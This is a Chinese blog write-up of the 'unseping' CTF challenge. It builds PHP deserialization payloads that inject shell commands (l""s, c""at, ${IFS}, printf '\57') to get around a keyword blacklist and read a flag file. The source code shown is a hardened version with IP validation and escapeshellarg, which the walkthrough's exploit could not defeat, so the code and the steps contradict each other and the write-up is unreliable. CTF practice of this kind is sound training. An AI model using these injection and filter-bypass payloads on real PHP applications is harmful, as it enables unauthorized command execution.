【攻防世界】unseping

进入题目就是一串源码,自己看或者丢给AI分析:

<?php
// 高亮显示当前文件内容(用于调试)
highlight_file(__FILE__);

// 定义一个安全的 Ease 类
class Ease {
    // 私有属性,用于存储方法名和参数
    private $method;
    private $args;

    // 构造函数
    public function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }

    // 析构函数
    public function __destruct() {
        // 仅允许调用经过白名单验证的方法
        if ($this->method === "ping") {
            call_user_func_array([$this, $this->method], $this->args);
        }
    }

    // 安全的 ping 方法
    public function ping($ip) {
        // 对输入的 IP 地址进行严格验证
        if (filter_var($ip, FILTER_VALIDATE_IP)) {
            // 使用 escapeshellarg 对输入进行转义,防止命令注入
            $escapedIp = escapeshellarg($ip);
            exec("ping -c 1 $escapedIp", $result);
            var_dump($result);
        } else {
            echo "Invalid IP address.";
        }
    }

    // 简单的 WAF 方法
    public function waf($str) {
        // 使用正则表达式过滤危险字符
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "Don't hack!";
            exit; // 如果检测到恶意输入,直接终止脚本
        }
    }

    // __wakeup 方法
    public function __wakeup() {
        // 如果需要对反序列化后的参数进行过滤,可以在这里实现
        foreach ($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }
}

// 获取用户提交的 ctf 参数
$ctf = @$_POST['ctf'];

// 检查是否允许反序列化
if ($ctf) {
    // 对用户输入进行严格过滤,防止反序列化漏洞
    if (strpos($ctf, 'O:') === 0) { // 检查是否为对象序列化字符串
        echo "Object serialization is not allowed.";
    } else {
        // 安全地反序列化数据
        @unserialize(base64_decode($ctf));
    }
}
?>

步骤分解:

服务器收到请求后,会执行最下面的代码,检查是否允许反序列化

如果能够安全地反序列化数据,就会触发 __wakeup 方法

在 __wakeup 方法中,通过调用waf函数来过滤一些参数

结束后对象会被销毁,会触发 __destruct 函数,检查$method 的值,如果为 "ping",则调用 ping 方法

执行 ping 方法:验证 IP 地址,转义输入,执行 ping 命令,并输出结果

 

这道题的切入点就是传进去的参数ctf。如何拿到flag,就是看如何构造ctf发送POST请求,使其能够满足各种限制条件,执行指定的函数。其中涉及一些序列化和反序列化的知识,先了解一下:

序列化 (Serialization)是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。

PHP序列化:将变量转换为可保存或传输的字符串的过程。

PHP序列化函数:serialize

参考实例:

<?php
class person{
    public $name;
    public $age;

    function __construct($name, $age){
        $this->name = $name;
        $this->age = $age;
    }
}

$p = new person("cx", 19);
echo serialize($p);
?>

输出结果:

O:6:"person":2:{s:4:"name";s:2:"cx";s:3:"age";i:19;}

 而我们需要构造的$method=ping,$args为想要执行的外部命令ls。但是ls被防火墙通过正则表达式过滤了,所以要绕过一下,有很多绕过方式,感兴趣可以自己去了解,放一个参考的网址攻防世界-unseping(序列化,Bash shell) - 你呀你~ - 博客园

 这里用''空字符绕过,那么$args="l''s"

 生成payload代码如下

<?php
 
class ease{
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
  
}
$a = new ease("ping",array('l""s'));
$b = serialize($a);
echo $b;
echo'
';
echo base64_encode($b);
?>

得到:

O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:4:"l""s";}}
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsIiJzIjt9fQ==

使用HackBar插件上传ctf参数(没有而且想用的可以参考这个连接HackBar插件绕许可-CSDN博客

 拿到返回数据发现目录下有一个名为flag_1s_here的文件夹,这应该就是需要的flag

 用ls flag_1s_here查看该文件,但是空格与“flag”都被过滤了,我们还得进行绕过:flag的绕过思路和ls一样,用“”。而空格使用${IFS}

 构造args='l""s${IFS}fl""ag_1s_here'

<?php
 
class ease{
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
  
}
$a = new ease("ping",array('l""s${IFS}f""lag_1s_here'));
$b = serialize($a);
echo $b;
echo'
';
echo base64_encode($b);
?>

得到:

O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:24:"l""s${IFS}f""lag_1s_here";}}
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCIicyR7SUZTfWYiImxhZ18xc19oZXJlIjt9fQ==

同上,拿到返回数据flag_831b69012c67b35f.php文件,flag大概率就在这个php文件中了。想要拿到flag,就必须cat这个文件,cat是查看内容的意思,因为有过滤所以还得进行绕过。

 原本的命令应该是cat flag_1s_here/flag_831b69012c67b35f.php

但是还是需要绕过,flag与php需要用f""lag与p""hp绕过,/用$(print "\57"),其中\57就是八进制的47(“/”的ASCII码),空格也要绕过,所以进一步修改为$(printf${IFS}"\57")

由此可以构造出:

'c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp'

修改代码

<?php
 
class ease{
private $method;
private $args;
function __construct($method, $args) {
    $this->method = $method;
    $this->args = $args;
}
  
}
$a = new ease("ping",array('c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp'));
$b = serialize($a);
echo $b;
echo'
';
echo base64_encode($b);
?>

拿到payload

O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:74:"c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp";}}
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo3NDoiYyIiYXQke0lGU31mIiJsYWdfMXNfaGVyZSQocHJpbnRmJHtJRlN9Ilw1NyIpZiIibGFnXzgzMWI2OTAxMmM2N2IzNWYucCIiaHAiO319

上传参数,成功拿到flag:cyberpeace{27e27e0bd98c03933c485615c162c75e}

 

posted @ 2025-05-01 17:25  Antoniiiia  阅读(130)  评论(0)    收藏  举报